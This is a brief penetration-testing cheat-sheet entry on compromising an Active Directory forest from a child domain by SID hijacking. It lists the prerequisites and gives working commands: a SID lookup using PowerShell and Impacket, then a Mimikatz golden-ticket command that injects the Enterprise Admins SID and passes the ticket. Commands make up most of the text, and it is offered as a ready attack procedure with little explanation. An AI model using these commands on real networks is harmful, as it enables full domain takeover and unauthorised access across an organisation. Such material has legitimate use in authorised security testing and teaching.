PenTest – Child Domain to Forest Compromise – SID Hijacking
|Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.
Requirements: – KRBTGT Hash – Find the SID of the domain
$ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502
# with Impacket
lookupsid.py domain/user:password@10.10.10.10
– Replace 502 with 519 to represent Enterprise Admins – Create golden ticket and attack parent domain.
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt